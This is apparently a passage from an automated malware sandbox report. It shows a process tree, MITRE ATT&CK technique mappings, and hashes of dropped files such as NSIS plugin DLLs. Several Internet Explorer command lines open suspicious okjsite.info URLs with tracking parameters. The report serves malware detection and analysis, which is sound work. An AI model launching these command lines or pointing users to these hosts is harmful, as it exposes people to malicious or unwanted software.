  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Program Files\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://cxscfv.okjsite.info:251/?0eb4642019096e89544d71ecd678c2f7efcba61b&i=ooo&t=829&uu=JaffaCakes118&sd=ad20eb4642019096e89544d71ecd678c2f7efcba61basod
    3⤵
    - Modifies Internet Explorer settings
    PID:524
- C:\Program Files (x86)\Internet Explorer\iexplore.exe
  "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ujnd.okjsite.info:251/?0eb4642019096e89544d71ecd678c2f7efcba61b&i=oooo&t=829&uu=JaffaCakes118&dsc=1ccc3320eb4642019096e89544d71ecd678c2f7efcba61b23
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Program Files\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ujnd.okjsite.info:251/?0eb4642019096e89544d71ecd678c2f7efcba61b&i=oooo&t=829&uu=JaffaCakes118&dsc=1ccc3320eb4642019096e89544d71ecd678c2f7efcba61b23
    3⤵
    - Modifies Internet Explorer settings
    PID:5112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
78dd7aa55c0c7da0138262505cb3fbbe

SHA1
c6e55ab94f24eacf76b4ef234258c85c0238dacd

SHA256
2fdd4c22f46612300ae87bb1df6ffd303bb5f30c1c078f3d0ef20ba1ea7c55b0

SHA512
b961555235562fd84ab682d8abe9afa5fe26a4e7f99fd1bcb83bbfff8775d6d593e2967cf8aedfcc6f335cce216d115bb084f3a3d813c5f92b1fe15d98cccf45

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
404B

MD5
8270159cb6bcf8246d884d32772484ce

SHA1
8ec4e1537c1e3f7e583b717b64f4d949cc1ef55e

SHA256
948a244083db4bd7e677b541602f3769ecd4a1b9529cb90d496238cfaeed529d

SHA512
24a1c928586e87d05d515f51d5b722bcccbbc89c4028ab084c9394e90a24953dd6b342cfcb7e3796b5d552e27810e3a4badbcc29852be2e48cb7234707ae8ce7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\6809OHQ0\httpErrorPagesScripts[1]

Filesize
11KB

MD5
9234071287e637f85d721463c488704c

SHA1
cca09b1e0fba38ba29d3972ed8dcecefdef8c152

SHA256
65cc039890c7ceb927ce40f6f199d74e49b8058c3f8a6e22e8f916ad90ea8649

SHA512
87d691987e7a2f69ad8605f35f94241ab7e68ad4f55ad384f1f0d40dc59ffd1432c758123661ee39443d624c881b01dcd228a67afb8700fe5e66fc794a6c0384

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8M42AOWL\errorPageStrings[1]

Filesize
4KB

MD5
d65ec06f21c379c87040b83cc1abac6b

SHA1
208d0a0bb775661758394be7e4afb18357e46c8b

SHA256
a1270e90cea31b46432ec44731bf4400d22b38eb2855326bf934fe8f1b169a4f

SHA512
8a166d26b49a5d95aea49bc649e5ea58786a2191f4d2adac6f5fbb7523940ce4482d6a2502aa870a931224f215cb2010a8c9b99a2c1820150e4d365cab28299e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8M42AOWL\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\NUB8HZ4Z\dnserror[1]

Filesize
2KB

MD5
2dc61eb461da1436f5d22bce51425660

SHA1
e1b79bcab0f073868079d807faec669596dc46c1

SHA256
acdeb4966289b6ce46ecc879531f85e9c6f94b718aab521d38e2e00f7f7f7993

SHA512
a88becb4fbddc5afc55e4dc0135af714a3eec4a63810ae5a989f2cecb824a686165d3cedb8cbd8f35c7e5b9f4136c29dea32736aabb451fe8088b978b493ac6d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\NUB8HZ4Z\down[1]

Filesize
748B

MD5
c4f558c4c8b56858f15c09037cd6625a

SHA1
ee497cc061d6a7a59bb66defea65f9a8145ba240

SHA256
39e7de847c9f731eaa72338ad9053217b957859de27b50b6474ec42971530781

SHA512
d60353d3fbea2992d96795ba30b20727b022b9164b2094b922921d33ca7ce1634713693ac191f8f5708954544f7648f4840bcd5b62cb6a032ef292a8b0e52a44

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\VKVWVXN7\NewErrorPageTemplate[1]

Filesize
1KB

MD5
dfeabde84792228093a5a270352395b6

SHA1
e41258c9576721025926326f76063c2305586f76

SHA256
77b138ab5d0a90ff04648c26addd5e414cc178165e3b54a4cb3739da0f58e075

SHA512
e256f603e67335151bb709294749794e2e3085f4063c623461a0b3decbcca8e620807b707ec9bcbe36dcd7d639c55753da0495be85b4ae5fb6bfc52ab4b284fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsk6CB6.tmp\Math.dll

Filesize
66KB

MD5
9eb6cecdd0df9fe32027fcdb51c625af

SHA1
52b5b054ff6e7325c3087822901ea2f2c4f9572a

SHA256
54cf1572ed47f614b0ffb886c99fc5725f454ef7ff919fbb2fd13d1cbe270560

SHA512
864742ec6f74f94057b54cd9b09707c0125ac8db4844fa80af201e8b72a811bb68276c993e75bce67e5ece4f83644572edbdee5e963634c5a37839615faea97a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsk6CB6.tmp\System.dll

Filesize
11KB

MD5
00a0194c20ee912257df53bfe258ee4a

SHA1
d7b4e319bc5119024690dc8230b9cc919b1b86b2

SHA256
dc4da2ccadb11099076926b02764b2b44ad8f97cd32337421a4cc21a3f5448f3

SHA512
3b38a2c17996c3b77ebf7b858a6c37415615e756792132878d8eddbd13cb06710b7da0e8b58104768f8e475fc93e8b44b3b1ab6f70ddf52edee111aaf5ef5667

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsk6CB6.tmp\inetc.dll

Filesize
20KB

MD5
50fdadda3e993688401f6f1108fabdb4

SHA1
04a9ae55d0fb726be49809582cea41d75bf22a9a

SHA256
6d6ddc0d2b7d59eb91be44939457858ced5eb23cf4aa93ef33bb600eb28de6f6

SHA512
e9628870feea8c3aaefe22a2af41cf34b1c1778c4a0e81d069f50553ce1a23f68a0ba74b296420b2be92425d4995a43e51c018c2e8197ec2ec39305e87c56be8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsk6CB6.tmp\time.dll

Filesize
10KB

MD5
38977533750fe69979b2c2ac801f96e6

SHA1
74643c30cda909e649722ed0c7f267903558e92a

SHA256
b4a95a455e53372c59f91bc1b5fb9e5c8e4a10a506fa04aaf7be27048b30ae35

SHA512
e17069395ad4a17e24f7cd3c532670d40244bd5ae3887c82e3b2e4a68c250cd55e2d8b329d6ff0e2d758955ab7470534e6307779e49fe331c1fd2242ea73fd53

Download Submit
memory/4396-10-0x00000000022A0000-0x00000000022BA000-memory.dmp

Filesize
104KB

Download